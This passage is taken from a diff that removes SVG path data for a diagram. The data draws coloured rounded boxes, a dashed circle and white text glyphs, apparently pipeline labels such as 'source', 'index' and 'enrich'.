778.60706,197.784535 C778.60706,196.888702 778.752893,196.107452 779.04456,195.440785 C779.346643,194.763702 779.799768,194.258493 780.403935,193.92516 C781.018518,193.591827 781.679977,193.42516 782.38831,193.42516 C783.29456,193.42516 784.034143,193.654327 784.60706,194.11266 C785.179977,194.560577 785.54456,195.20641 785.70081,196.05016 L784.341435,196.253285 C784.206018,195.701202 783.971643,195.284535 783.63831,195.003285 C783.315393,194.722035 782.91956,194.58141 782.45081,194.58141 C781.742477,194.58141 781.164352,194.836618 780.716435,195.347035 C780.278935,195.847035 780.060185,196.649118 780.060185,197.753285 C780.060185,198.867868 780.273727,199.680368 780.70081,200.190785 C781.127893,200.690785 781.685185,200.940785 782.372685,200.940785 C782.924768,200.940785 783.383102,200.774118 783.747685,200.440785 C784.122685,200.097035 784.35706,199.570993 784.45081,198.86266 Z M792.716435,199.23766 L794.16956,199.409535 C793.940393,200.263702 793.51331,200.92516 792.88831,201.39391 C792.273727,201.86266 791.487268,202.097035 790.528935,202.097035 C789.310185,202.097035 788.346643,201.722035 787.63831,200.972035 C786.929977,200.222035 786.57581,199.17516 786.57581,197.83141 C786.57581,196.435577 786.935185,195.352243 787.653935,194.58141 C788.372685,193.810577 789.304977,193.42516 790.45081,193.42516 C791.554977,193.42516 792.456018,193.805368 793.153935,194.565785 C793.862268,195.315785 794.216435,196.373077 794.216435,197.73766 C794.216435,197.820993 794.216435,197.945993 794.216435,198.11266 L788.028935,198.11266 C788.081018,199.029327 788.336227,199.732452 788.79456,200.222035 C789.26331,200.701202 789.841435,200.940785 790.528935,200.940785 C791.049768,200.940785 791.492477,200.805368 791.85706,200.534535 C792.221643,200.263702 792.508102,199.83141 792.716435,199.23766 Z M788.10706,196.95641 L792.73206,196.95641 C792.66956,196.258493 792.492477,195.73766 792.20081,195.39391 C791.752893,194.852243 791.174768,194.58141 790.466435,194.58141 C789.820602,194.58141 789.273727,194.80016 788.82581,195.23766 C788.38831,195.664743 788.148727,196.23766 788.10706,196.95641 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M752.8063,211.06578 L752.8063,209.456405 L754.21255,209.456405 L754.21255,211.06578 L752.8063,211.06578 Z M752.8063,220.90953 L752.8063,212.612655 L754.21255,212.612655 L754.21255,220.90953 L752.8063,220.90953 Z M756.360987,220.90953 L756.360987,212.612655 L757.626612,212.612655 L757.626612,213.78453 C758.230779,212.87828 759.110987,212.425155 760.267237,212.425155 C760.767237,212.425155 761.225571,212.513697 761.642237,212.69078 C762.058904,212.867863 762.371404,213.102238 762.579737,213.393905 C762.788071,213.685572 762.933904,214.03453 763.017237,214.44078 C763.069321,214.701197 763.095362,215.154322 763.095362,215.800155 L763.095362,220.90953 L761.689112,220.90953 L761.689112,215.862655 C761.689112,215.289738 761.631821,214.862655 761.517237,214.581405 C761.413071,214.289738 761.220362,214.060572 760.939112,213.893905 C760.668279,213.727238 760.345362,213.643905 759.970362,213.643905 C759.366196,213.643905 758.845362,213.836613 758.407862,214.22203 C757.980779,214.59703 757.767237,215.31578 757.767237,216.37828 L757.767237,220.90953 L756.360987,220.90953 Z M770.634425,220.90953 L770.634425,219.862655 C770.113592,220.685572 769.342758,221.09703 768.321925,221.09703 C767.655258,221.09703 767.045883,220.914738 766.4938,220.550155 C765.941717,220.185572 765.509425,219.675155 765.196925,219.018905 C764.894842,218.362655 764.7438,217.612655 764.7438,216.768905 C764.7438,215.935572 764.879217,215.185572 765.15005,214.518905 C765.4313,213.841822 765.847967,213.326197 766.40005,212.97203 C766.952133,212.607447 767.571925,212.425155 768.259425,212.425155 C768.759425,212.425155 769.202133,212.529322 769.58755,212.737655 C769.983383,212.945988 770.301092,213.22203 770.540675,213.56578 L770.540675,209.456405 L771.946925,209.456405 L771.946925,220.90953 L770.634425,220.90953 Z M766.196925,216.768905 C766.196925,217.831405 766.420883,218.62828 766.8688,219.15953 C767.316717,219.680363 767.842758,219.94078 768.446925,219.94078 C769.061508,219.94078 769.582342,219.69078 770.009425,219.19078 C770.446925,218.680363 770.665675,217.90953 770.665675,216.87828 C770.665675,215.742863 770.446925,214.90953 770.009425,214.37828 C769.571925,213.84703 769.030258,213.581405 768.384425,213.581405 C767.759425,213.581405 767.238592,213.836613 766.821925,214.34703 C766.405258,214.857447 766.196925,215.664738 766.196925,216.768905 Z M779.829737,218.237655 L781.282862,218.40953 C781.053696,219.263697 780.626612,219.925155 780.001612,220.393905 C779.387029,220.862655 778.600571,221.09703 777.642237,221.09703 C776.423487,221.09703 775.459946,220.72203 774.751612,219.97203 C774.043279,219.22203 773.689112,218.175155 773.689112,216.831405 C773.689112,215.435572 774.048487,214.352238 774.767237,213.581405 C775.485987,212.810572 776.418279,212.425155 777.564112,212.425155 C778.668279,212.425155 779.569321,212.805363 780.267237,213.56578 C780.975571,214.31578 781.329737,215.373072 781.329737,216.737655 C781.329737,216.820988 781.329737,216.945988 781.329737,217.112655 L775.142237,217.112655 C775.194321,218.029322 775.449529,218.732447 775.907862,219.22203 C776.376612,219.701197 776.954737,219.94078 777.642237,219.94078 C778.163071,219.94078 778.605779,219.805363 778.970362,219.53453 C779.334946,219.263697 779.621404,218.831405 779.829737,218.237655 Z M775.220362,215.956405 L779.845362,215.956405 C779.782862,215.258488 779.605779,214.737655 779.314112,214.393905 C778.866196,213.852238 778.288071,213.581405 777.579737,213.581405 C776.933904,213.581405 776.387029,213.800155 775.939112,214.237655 C775.501612,214.664738 775.262029,215.237655 775.220362,215.956405 Z M782.1188,220.90953 L785.15005,216.59703 L782.33755,212.612655 L784.103175,212.612655 L785.3688,214.550155 C785.608383,214.925155 785.801092,215.237655 785.946925,215.487655 C786.176092,215.143905 786.389633,214.836613 786.58755,214.56578 L787.978175,212.612655 L789.665675,212.612655 L786.790675,216.518905 L789.884425,220.90953 L788.15005,220.90953 L786.446925,218.331405 L785.9938,217.62828 L783.821925,220.90953 L782.1188,220.90953 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M727.9239,281.62582 L727.9239,281.62582 C727.9239,276.833462 731.808849,272.948482 736.601207,272.948482 L805.136302,272.948482 C807.437694,272.948482 809.644786,273.862697 811.272105,275.490016 C812.899424,277.117336 813.81367,279.324428 813.81367,281.625819 L813.81367,316.334132 C813.81367,321.126491 809.92866,325.01147 805.136302,325.01147 L736.601207,325.01147 C731.808849,325.01147 727.9239,321.126491 727.9239,316.334132 L727.9239,281.62582 Z" id="Path" fill="#F04E98"></path>
-                <path d="M747.35706,292.8556 L748.747685,292.63685 C748.820602,293.19935 749.034143,293.631642 749.38831,293.933725 C749.752893,294.225392 750.252893,294.371225 750.88831,294.371225 C751.534143,294.371225 752.01331,294.241017 752.32581,293.9806 C752.63831,293.709767 752.79456,293.397267 752.79456,293.0431 C752.79456,292.7306 752.659143,292.4806 752.38831,292.2931 C752.190393,292.1681 751.711227,292.01185 750.95081,291.82435 C749.91956,291.563933 749.20081,291.339975 748.79456,291.152475 C748.398727,290.954558 748.096643,290.688933 747.88831,290.3556 C747.690393,290.022267 747.591435,289.652475 747.591435,289.246225 C747.591435,288.871225 747.674768,288.527475 747.841435,288.214975 C748.008102,287.902475 748.237268,287.642058 748.528935,287.433725 C748.747685,287.267058 749.04456,287.131642 749.41956,287.027475 C749.804977,286.912892 750.211227,286.8556 750.63831,286.8556 C751.29456,286.8556 751.867477,286.94935 752.35706,287.13685 C752.846643,287.32435 753.206018,287.579558 753.435185,287.902475 C753.674768,288.214975 753.841435,288.642058 753.935185,289.183725 L752.560185,289.371225 C752.497685,288.944142 752.315393,288.610808 752.01331,288.371225 C751.711227,288.131642 751.289352,288.01185 750.747685,288.01185 C750.101852,288.01185 749.63831,288.121225 749.35706,288.339975 C749.086227,288.548308 748.95081,288.7931 748.95081,289.07435 C748.95081,289.26185 749.008102,289.428517 749.122685,289.57435 C749.237268,289.720183 749.414352,289.845183 749.653935,289.94935 C749.799768,290.001433 750.216435,290.121225 750.903935,290.308725 C751.893518,290.569142 752.586227,290.787892 752.98206,290.964975 C753.377893,291.131642 753.685185,291.376433 753.903935,291.69935 C754.133102,292.022267 754.247685,292.423308 754.247685,292.902475 C754.247685,293.371225 754.10706,293.813933 753.82581,294.2306 C753.554977,294.63685 753.159143,294.954558 752.63831,295.183725 C752.127893,295.412892 751.549768,295.527475 750.903935,295.527475 C749.820602,295.527475 748.997685,295.303517 748.435185,294.8556 C747.872685,294.407683 747.51331,293.741017 747.35706,292.8556 Z M755.38831,291.183725 C755.38831,289.652475 755.815393,288.517058 756.66956,287.777475 C757.38831,287.162892 758.258102,286.8556 759.278935,286.8556 C760.424768,286.8556 761.35706,287.2306 762.07581,287.9806 C762.804977,288.720183 763.16956,289.751433 763.16956,291.07435 C763.16956,292.13685 763.008102,292.975392 762.685185,293.589975 C762.362268,294.204558 761.893518,294.683725 761.278935,295.027475 C760.674768,295.360808 760.008102,295.527475 759.278935,295.527475 C758.122685,295.527475 757.185185,295.157683 756.466435,294.4181 C755.747685,293.6681 755.38831,292.589975 755.38831,291.183725 Z M756.841435,291.183725 C756.841435,292.246225 757.070602,293.0431 757.528935,293.57435 C757.997685,294.1056 758.581018,294.371225 759.278935,294.371225 C759.976852,294.371225 760.554977,294.1056 761.01331,293.57435 C761.48206,293.0431 761.716435,292.2306 761.716435,291.13685 C761.716435,290.116017 761.48206,289.339975 761.01331,288.808725 C760.554977,288.277475 759.976852,288.01185 759.278935,288.01185 C758.581018,288.01185 757.997685,288.277475 757.528935,288.808725 C757.070602,289.329558 756.841435,290.121225 756.841435,291.183725 Z M770.255498,295.339975 L770.255498,294.121225 C769.609664,295.058725 768.729456,295.527475 767.614873,295.527475 C767.125289,295.527475 766.666956,295.433725 766.239873,295.246225 C765.823206,295.058725 765.510706,294.82435 765.302373,294.5431 C765.094039,294.251433 764.948206,293.902475 764.864873,293.496225 C764.812789,293.214975 764.786748,292.777475 764.786748,292.183725 L764.786748,287.0431 L766.192998,287.0431 L766.192998,291.63685 C766.192998,292.376433 766.219039,292.871225 766.271123,293.121225 C766.364873,293.496225 766.552373,293.787892 766.833623,293.996225 C767.125289,294.204558 767.479456,294.308725 767.896123,294.308725 C768.323206,294.308725 768.719039,294.204558 769.083623,293.996225 C769.458623,293.777475 769.719039,293.4806 769.864873,293.1056 C770.021123,292.7306 770.099248,292.188933 770.099248,291.4806 L770.099248,287.0431 L771.505498,287.0431 L771.505498,295.339975 L770.255498,295.339975 Z M773.70081,295.339975 L773.70081,287.0431 L774.966435,287.0431 L774.966435,288.2931 C775.289352,287.709767 775.586227,287.32435 775.85706,287.13685 C776.127893,286.94935 776.429977,286.8556 776.76331,286.8556 C777.23206,286.8556 777.711227,287.006642 778.20081,287.308725 L777.716435,288.6056 C777.372685,288.407683 777.028935,288.308725 776.685185,288.308725 C776.383102,288.308725 776.10706,288.402475 775.85706,288.589975 C775.617477,288.767058 775.445602,289.022267 775.341435,289.3556 C775.185185,289.8556 775.10706,290.402475 775.10706,290.996225 L775.10706,295.339975 L773.70081,295.339975 Z M784.45081,292.2931 L785.841435,292.4806 C785.685185,293.428517 785.29456,294.173308 784.66956,294.714975 C784.054977,295.256642 783.29456,295.527475 782.38831,295.527475 C781.252893,295.527475 780.336227,295.157683 779.63831,294.4181 C778.95081,293.6681 778.60706,292.600392 778.60706,291.214975 C778.60706,290.319142 778.752893,289.537892 779.04456,288.871225 C779.346643,288.194142 779.799768,287.688933 780.403935,287.3556 C781.018518,287.022267 781.679977,286.8556 782.38831,286.8556 C783.29456,286.8556 784.034143,287.084767 784.60706,287.5431 C785.179977,287.991017 785.54456,288.63685 785.70081,289.4806 L784.341435,289.683725 C784.206018,289.131642 783.971643,288.714975 783.63831,288.433725 C783.315393,288.152475 782.91956,288.01185 782.45081,288.01185 C781.742477,288.01185 781.164352,288.267058 780.716435,288.777475 C780.278935,289.277475 780.060185,290.079558 780.060185,291.183725 C780.060185,292.298308 780.273727,293.110808 780.70081,293.621225 C781.127893,294.121225 781.685185,294.371225 782.372685,294.371225 C782.924768,294.371225 783.383102,294.204558 783.747685,293.871225 C784.122685,293.527475 784.35706,293.001433 784.45081,292.2931 Z M792.716435,292.6681 L794.16956,292.839975 C793.940393,293.694142 793.51331,294.3556 792.88831,294.82435 C792.273727,295.2931 791.487268,295.527475 790.528935,295.527475 C789.310185,295.527475 788.346643,295.152475 787.63831,294.402475 C786.929977,293.652475 786.57581,292.6056 786.57581,291.26185 C786.57581,289.866017 786.935185,288.782683 787.653935,288.01185 C788.372685,287.241017 789.304977,286.8556 790.45081,286.8556 C791.554977,286.8556 792.456018,287.235808 793.153935,287.996225 C793.862268,288.746225 794.216435,289.803517 794.216435,291.1681 C794.216435,291.251433 794.216435,291.376433 794.216435,291.5431 L788.028935,291.5431 C788.081018,292.459767 788.336227,293.162892 788.79456,293.652475 C789.26331,294.131642 789.841435,294.371225 790.528935,294.371225 C791.049768,294.371225 791.492477,294.235808 791.85706,293.964975 C792.221643,293.694142 792.508102,293.26185 792.716435,292.6681 Z M788.10706,290.38685 L792.73206,290.38685 C792.66956,289.688933 792.492477,289.1681 792.20081,288.82435 C791.752893,288.282683 791.174768,288.01185 790.466435,288.01185 C789.820602,288.01185 789.273727,288.2306 788.82581,288.6681 C788.38831,289.095183 788.148727,289.6681 788.10706,290.38685 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M752.8063,304.49622 L752.8063,302.886845 L754.21255,302.886845 L754.21255,304.49622 L752.8063,304.49622 Z M752.8063,314.33997 L752.8063,306.043095 L754.21255,306.043095 L754.21255,314.33997 L752.8063,314.33997 Z M756.360987,314.33997 L756.360987,306.043095 L757.626612,306.043095 L757.626612,307.21497 C758.230779,306.30872 759.110987,305.855595 760.267237,305.855595 C760.767237,305.855595 761.225571,305.944137 761.642237,306.12122 C762.058904,306.298303 762.371404,306.532678 762.579737,306.824345 C762.788071,307.116012 762.933904,307.46497 763.017237,307.87122 C763.069321,308.131637 763.095362,308.584762 763.095362,309.230595 L763.095362,314.33997 L761.689112,314.33997 L761.689112,309.293095 C761.689112,308.720178 761.631821,308.293095 761.517237,308.011845 C761.413071,307.720178 761.220362,307.491012 760.939112,307.324345 C760.668279,307.157678 760.345362,307.074345 759.970362,307.074345 C759.366196,307.074345 758.845362,307.267053 758.407862,307.65247 C757.980779,308.02747 757.767237,308.74622 757.767237,309.80872 L757.767237,314.33997 L756.360987,314.33997 Z M770.634425,314.33997 L770.634425,313.293095 C770.113592,314.116012 769.342758,314.52747 768.321925,314.52747 C767.655258,314.52747 767.045883,314.345178 766.4938,313.980595 C765.941717,313.616012 765.509425,313.105595 765.196925,312.449345 C764.894842,311.793095 764.7438,311.043095 764.7438,310.199345 C764.7438,309.366012 764.879217,308.616012 765.15005,307.949345 C765.4313,307.272262 765.847967,306.756637 766.40005,306.40247 C766.952133,306.037887 767.571925,305.855595 768.259425,305.855595 C768.759425,305.855595 769.202133,305.959762 769.58755,306.168095 C769.983383,306.376428 770.301092,306.65247 770.540675,306.99622 L770.540675,302.886845 L771.946925,302.886845 L771.946925,314.33997 L770.634425,314.33997 Z M766.196925,310.199345 C766.196925,311.261845 766.420883,312.05872 766.8688,312.58997 C767.316717,313.110803 767.842758,313.37122 768.446925,313.37122 C769.061508,313.37122 769.582342,313.12122 770.009425,312.62122 C770.446925,312.110803 770.665675,311.33997 770.665675,310.30872 C770.665675,309.173303 770.446925,308.33997 770.009425,307.80872 C769.571925,307.27747 769.030258,307.011845 768.384425,307.011845 C767.759425,307.011845 767.238592,307.267053 766.821925,307.77747 C766.405258,308.287887 766.196925,309.095178 766.196925,310.199345 Z M779.829737,311.668095 L781.282862,311.83997 C781.053696,312.694137 780.626612,313.355595 780.001612,313.824345 C779.387029,314.293095 778.600571,314.52747 777.642237,314.52747 C776.423487,314.52747 775.459946,314.15247 774.751612,313.40247 C774.043279,312.65247 773.689112,311.605595 773.689112,310.261845 C773.689112,308.866012 774.048487,307.782678 774.767237,307.011845 C775.485987,306.241012 776.418279,305.855595 777.564112,305.855595 C778.668279,305.855595 779.569321,306.235803 780.267237,306.99622 C780.975571,307.74622 781.329737,308.803512 781.329737,310.168095 C781.329737,310.251428 781.329737,310.376428 781.329737,310.543095 L775.142237,310.543095 C775.194321,311.459762 775.449529,312.162887 775.907862,312.65247 C776.376612,313.131637 776.954737,313.37122 777.642237,313.37122 C778.163071,313.37122 778.605779,313.235803 778.970362,312.96497 C779.334946,312.694137 779.621404,312.261845 779.829737,311.668095 Z M775.220362,309.386845 L779.845362,309.386845 C779.782862,308.688928 779.605779,308.168095 779.314112,307.824345 C778.866196,307.282678 778.288071,307.011845 777.579737,307.011845 C776.933904,307.011845 776.387029,307.230595 775.939112,307.668095 C775.501612,308.095178 775.262029,308.668095 775.220362,309.386845 Z M782.1188,314.33997 L785.15005,310.02747 L782.33755,306.043095 L784.103175,306.043095 L785.3688,307.980595 C785.608383,308.355595 785.801092,308.668095 785.946925,308.918095 C786.176092,308.574345 786.389633,308.267053 786.58755,307.99622 L787.978175,306.043095 L789.665675,306.043095 L786.790675,309.949345 L789.884425,314.33997 L788.15005,314.33997 L786.446925,311.761845 L785.9938,311.05872 L783.821925,314.33997 L782.1188,314.33997 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M450.0971,241.7796 L450.0971,241.7796 C450.0971,236.987242 453.982079,233.102262 458.774438,233.102262 L527.309503,233.102262 C529.610895,233.102262 531.818048,234.016477 533.445306,235.643796 C535.072625,237.271116 535.986871,239.478223 535.986871,241.779599 L535.986871,276.487912 C535.986871,281.280271 532.101922,285.16525 527.309503,285.16525 L458.774438,285.16525 C453.98208,285.16525 450.0971,281.280271 450.0971,276.487912 L450.0971,241.7796 Z" id="Path" fill="#FA734F"></path>
-                <path d="M477.9873,252.82188 L479.440425,252.993755 C479.211258,253.847922 478.784175,254.50938 478.159175,254.97813 C477.544592,255.44688 476.758133,255.681255 475.7998,255.681255 C474.58105,255.681255 473.617508,255.306255 472.909175,254.556255 C472.200842,253.806255 471.846675,252.75938 471.846675,251.41563 C471.846675,250.019797 472.20605,248.936463 472.9248,248.16563 C473.64355,247.394797 474.575842,247.00938 475.721675,247.00938 C476.825842,247.00938 477.726883,247.389588 478.4248,248.150005 C479.133133,248.900005 479.4873,249.957297 479.4873,251.32188 C479.4873,251.405213 479.4873,251.530213 479.4873,251.69688 L473.2998,251.69688 C473.351883,252.613547 473.607092,253.316672 474.065425,253.806255 C474.534175,254.285422 475.1123,254.525005 475.7998,254.525005 C476.320633,254.525005 476.763342,254.389588 477.127925,254.118755 C477.492508,253.847922 477.778967,253.41563 477.9873,252.82188 Z M473.377925,250.54063 L478.002925,250.54063 C477.940425,249.842713 477.763342,249.32188 477.471675,248.97813 C477.023758,248.436463 476.445633,248.16563 475.7373,248.16563 C475.091467,248.16563 474.544592,248.38438 474.096675,248.82188 C473.659175,249.248963 473.419592,249.82188 473.377925,250.54063 Z M481.213863,255.493755 L481.213863,247.19688 L482.479488,247.19688 L482.479488,248.368755 C483.083654,247.462505 483.963863,247.00938 485.120113,247.00938 C485.620113,247.00938 486.078446,247.097922 486.495113,247.275005 C486.911779,247.452088 487.224279,247.686463 487.432613,247.97813 C487.640946,248.269797 487.786779,248.618755 487.870113,249.025005 C487.922196,249.285422 487.948238,249.738547 487.948238,250.38438 L487.948238,255.493755 L486.541988,255.493755 L486.541988,250.44688 C486.541988,249.873963 486.484696,249.44688 486.370113,249.16563 C486.265946,248.873963 486.073238,248.644797 485.791988,248.47813 C485.521154,248.311463 485.198238,248.22813 484.823238,248.22813 C484.219071,248.22813 483.698238,248.420838 483.260738,248.806255 C482.833654,249.181255 482.620113,249.900005 482.620113,250.962505 L482.620113,255.493755 L481.213863,255.493755 Z M490.096675,255.493755 L490.096675,247.19688 L491.3623,247.19688 L491.3623,248.44688 C491.685217,247.863547 491.982092,247.47813 492.252925,247.29063 C492.523758,247.10313 492.825842,247.00938 493.159175,247.00938 C493.627925,247.00938 494.107092,247.160422 494.596675,247.462505 L494.1123,248.75938 C493.76855,248.561463 493.4248,248.462505 493.08105,248.462505 C492.778967,248.462505 492.502925,248.556255 492.252925,248.743755 C492.013342,248.920838 491.841467,249.176047 491.7373,249.50938 C491.58105,250.00938 491.502925,250.556255 491.502925,251.150005 L491.502925,255.493755 L490.096675,255.493755 Z M495.440425,245.650005 L495.440425,244.04063 L496.846675,244.04063 L496.846675,245.650005 L495.440425,245.650005 Z M495.440425,255.493755 L495.440425,247.19688 L496.846675,247.19688 L496.846675,255.493755 L495.440425,255.493755 Z M504.401363,252.44688 L505.791988,252.63438 C505.635738,253.582297 505.245113,254.327088 504.620113,254.868755 C504.005529,255.410422 503.245113,255.681255 502.338863,255.681255 C501.203446,255.681255 500.286779,255.311463 499.588863,254.57188 C498.901363,253.82188 498.557613,252.754172 498.557613,251.368755 C498.557613,250.472922 498.703446,249.691672 498.995113,249.025005 C499.297196,248.347922 499.750321,247.842713 500.354488,247.50938 C500.969071,247.176047 501.630529,247.00938 502.338863,247.00938 C503.245113,247.00938 503.984696,247.238547 504.557613,247.69688 C505.130529,248.144797 505.495113,248.79063 505.651363,249.63438 L504.291988,249.837505 C504.156571,249.285422 503.922196,248.868755 503.588863,248.587505 C503.265946,248.306255 502.870113,248.16563 502.401363,248.16563 C501.693029,248.16563 501.114904,248.420838 500.666988,248.931255 C500.229488,249.431255 500.010738,250.233338 500.010738,251.337505 C500.010738,252.452088 500.224279,253.264588 500.651363,253.775005 C501.078446,254.275005 501.635738,254.525005 502.323238,254.525005 C502.875321,254.525005 503.333654,254.358338 503.698238,254.025005 C504.073238,253.681255 504.307613,253.155213 504.401363,252.44688 Z M506.995113,255.493755 L506.995113,244.04063 L508.401363,244.04063 L508.401363,248.150005 C509.057613,247.389588 509.885738,247.00938 510.885738,247.00938 C511.500321,247.00938 512.031571,247.129172 512.479488,247.368755 C512.937821,247.608338 513.260738,247.941672 513.448238,248.368755 C513.646154,248.795838 513.745113,249.41563 513.745113,250.22813 L513.745113,255.493755 L512.338863,255.493755 L512.338863,250.22813 C512.338863,249.530213 512.187821,249.019797 511.885738,248.69688 C511.583654,248.373963 511.151363,248.212505 510.588863,248.212505 C510.172196,248.212505 509.781571,248.32188 509.416988,248.54063 C509.052404,248.75938 508.791988,249.056255 508.635738,249.431255 C508.479488,249.795838 508.401363,250.301047 508.401363,250.94688 L508.401363,255.493755 L506.995113,255.493755 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M474.9795,264.65002 L474.9795,263.040645 L476.38575,263.040645 L476.38575,264.65002 L474.9795,264.65002 Z M474.9795,274.49377 L474.9795,266.196895 L476.38575,266.196895 L476.38575,274.49377 L474.9795,274.49377 Z M478.534187,274.49377 L478.534187,266.196895 L479.799812,266.196895 L479.799812,267.36877 C480.403979,266.46252 481.284187,266.009395 482.440437,266.009395 C482.940437,266.009395 483.398771,266.097937 483.815437,266.27502 C484.232104,266.452103 484.544604,266.686478 484.752937,266.978145 C484.961271,267.269812 485.107104,267.61877 485.190437,268.02502 C485.242521,268.285437 485.268562,268.738562 485.268562,269.384395 L485.268562,274.49377 L483.862312,274.49377 L483.862312,269.446895 C483.862312,268.873978 483.805021,268.446895 483.690437,268.165645 C483.586271,267.873978 483.393562,267.644812 483.112312,267.478145 C482.841479,267.311478 482.518562,267.228145 482.143562,267.228145 C481.539396,267.228145 481.018562,267.420853 480.581062,267.80627 C480.153979,268.18127 479.940437,268.90002 479.940437,269.96252 L479.940437,274.49377 L478.534187,274.49377 Z M492.807625,274.49377 L492.807625,273.446895 C492.286792,274.269812 491.515958,274.68127 490.495125,274.68127 C489.828458,274.68127 489.219083,274.498978 488.667,274.134395 C488.114917,273.769812 487.682625,273.259395 487.370125,272.603145 C487.068042,271.946895 486.917,271.196895 486.917,270.353145 C486.917,269.519812 487.052417,268.769812 487.32325,268.103145 C487.6045,267.426062 488.021167,266.910437 488.57325,266.55627 C489.125333,266.191687 489.745125,266.009395 490.432625,266.009395 C490.932625,266.009395 491.375333,266.113562 491.76075,266.321895 C492.156583,266.530228 492.474292,266.80627 492.713875,267.15002 L492.713875,263.040645 L494.120125,263.040645 L494.120125,274.49377 L492.807625,274.49377 Z M488.370125,270.353145 C488.370125,271.415645 488.594083,272.21252 489.042,272.74377 C489.489917,273.264603 490.015958,273.52502 490.620125,273.52502 C491.234708,273.52502 491.755542,273.27502 492.182625,272.77502 C492.620125,272.264603 492.838875,271.49377 492.838875,270.46252 C492.838875,269.327103 492.620125,268.49377 492.182625,267.96252 C491.745125,267.43127 491.203458,267.165645 490.557625,267.165645 C489.932625,267.165645 489.411792,267.420853 488.995125,267.93127 C488.578458,268.441687 488.370125,269.248978 488.370125,270.353145 Z M502.002937,271.821895 L503.456062,271.99377 C503.226896,272.847937 502.799812,273.509395 502.174812,273.978145 C501.560229,274.446895 500.773771,274.68127 499.815437,274.68127 C498.596687,274.68127 497.633146,274.30627 496.924812,273.55627 C496.216479,272.80627 495.862312,271.759395 495.862312,270.415645 C495.862312,269.019812 496.221687,267.936478 496.940437,267.165645 C497.659187,266.394812 498.591479,266.009395 499.737312,266.009395 C500.841479,266.009395 501.742521,266.389603 502.440437,267.15002 C503.148771,267.90002 503.502937,268.957312 503.502937,270.321895 C503.502937,270.405228 503.502937,270.530228 503.502937,270.696895 L497.315437,270.696895 C497.367521,271.613562 497.622729,272.316687 498.081062,272.80627 C498.549812,273.285437 499.127937,273.52502 499.815437,273.52502 C500.336271,273.52502 500.778979,273.389603 501.143562,273.11877 C501.508146,272.847937 501.794604,272.415645 502.002937,271.821895 Z M497.393562,269.540645 L502.018562,269.540645 C501.956062,268.842728 501.778979,268.321895 501.487312,267.978145 C501.039396,267.436478 500.461271,267.165645 499.752937,267.165645 C499.107104,267.165645 498.560229,267.384395 498.112312,267.821895 C497.674812,268.248978 497.435229,268.821895 497.393562,269.540645 Z M504.292,274.49377 L507.32325,270.18127 L504.51075,266.196895 L506.276375,266.196895 L507.542,268.134395 C507.781583,268.509395 507.974292,268.821895 508.120125,269.071895 C508.349292,268.728145 508.562833,268.420853 508.76075,268.15002 L510.151375,266.196895 L511.838875,266.196895 L508.963875,270.103145 L512.057625,274.49377 L510.32325,274.49377 L508.620125,271.915645 L508.167,271.21252 L505.995125,274.49377 L504.292,274.49377 L504.292,274.49377 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M589.6299,259.23456 L589.6299,259.23456 C589.6299,233.62073 610.873491,212.856615 637.078753,212.856615 L637.078753,212.856615 C649.662921,212.856615 661.731768,217.742845 670.630143,226.440401 C679.528519,235.137957 684.527543,246.934374 684.527543,259.234561 L684.527543,259.234561 C684.527543,284.848422 663.284013,305.612521 637.078753,305.612521 L637.078753,305.612521 C610.873492,305.612521 589.6299,284.848421 589.6299,259.234561 L589.6299,259.23456 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M589.6299,259.23456 L589.6299,259.23456 C589.6299,233.62073 610.873491,212.856615 637.078753,212.856615 L637.078753,212.856615 C649.662921,212.856615 661.731768,217.742845 670.630143,226.440401 C679.528519,235.137957 684.527543,246.934374 684.527543,259.234561 L684.527543,259.234561 C684.527543,284.848422 663.284013,305.612521 637.078753,305.612521 L637.078753,305.612521 C610.873492,305.612521 589.6299,284.848421 589.6299,259.234561 L589.6299,259.23456 Z" id="Path" stroke="#434753" stroke-width="2" stroke-linejoin="round" stroke-dasharray="16,6"></path>
-                <path d="M622.02405,252.9227 L623.477175,253.094575 C623.248008,253.948742 622.820925,254.6102 622.195925,255.07895 C621.581342,255.5477 620.794883,255.782075 619.83655,255.782075 C618.6178,255.782075 617.654258,255.407075 616.945925,254.657075 C616.237592,253.907075 615.883425,252.8602 615.883425,251.51645 C615.883425,250.120617 616.2428,249.037283 616.96155,248.26645 C617.6803,247.495617 618.612592,247.1102 619.758425,247.1102 C620.862592,247.1102 621.763633,247.490408 622.46155,248.250825 C623.169883,249.000825 623.52405,250.058117 623.52405,251.4227 C623.52405,251.506033 623.52405,251.631033 623.52405,251.7977 L617.33655,251.7977 C617.388633,252.714367 617.643842,253.417492 618.102175,253.907075 C618.570925,254.386242 619.14905,254.625825 619.83655,254.625825 C620.357383,254.625825 620.800092,254.490408 621.164675,254.219575 C621.529258,253.948742 621.815717,253.51645 622.02405,252.9227 Z M617.414675,250.64145 L622.039675,250.64145 C621.977175,249.943533 621.800092,249.4227 621.508425,249.07895 C621.060508,248.537283 620.482383,248.26645 619.77405,248.26645 C619.128217,248.26645 618.581342,248.4852 618.133425,248.9227 C617.695925,249.349783 617.456342,249.9227 617.414675,250.64145 Z M625.250612,255.594575 L625.250612,247.2977 L626.516237,247.2977 L626.516237,248.469575 C627.120404,247.563325 628.000612,247.1102 629.156862,247.1102 C629.656862,247.1102 630.115196,247.198742 630.531862,247.375825 C630.948529,247.552908 631.261029,247.787283 631.469362,248.07895 C631.677696,248.370617 631.823529,248.719575 631.906862,249.125825 C631.958946,249.386242 631.984987,249.839367 631.984987,250.4852 L631.984987,255.594575 L630.578737,255.594575 L630.578737,250.5477 C630.578737,249.974783 630.521446,249.5477 630.406862,249.26645 C630.302696,248.974783 630.109987,248.745617 629.828737,248.57895 C629.557904,248.412283 629.234987,248.32895 628.859987,248.32895 C628.255821,248.32895 627.734987,248.521658 627.297487,248.907075 C626.870404,249.282075 626.656862,250.000825 626.656862,251.063325 L626.656862,255.594575 L625.250612,255.594575 Z M634.133425,255.594575 L634.133425,247.2977 L635.39905,247.2977 L635.39905,248.5477 C635.721967,247.964367 636.018842,247.57895 636.289675,247.39145 C636.560508,247.20395 636.862592,247.1102 637.195925,247.1102 C637.664675,247.1102 638.143842,247.261242 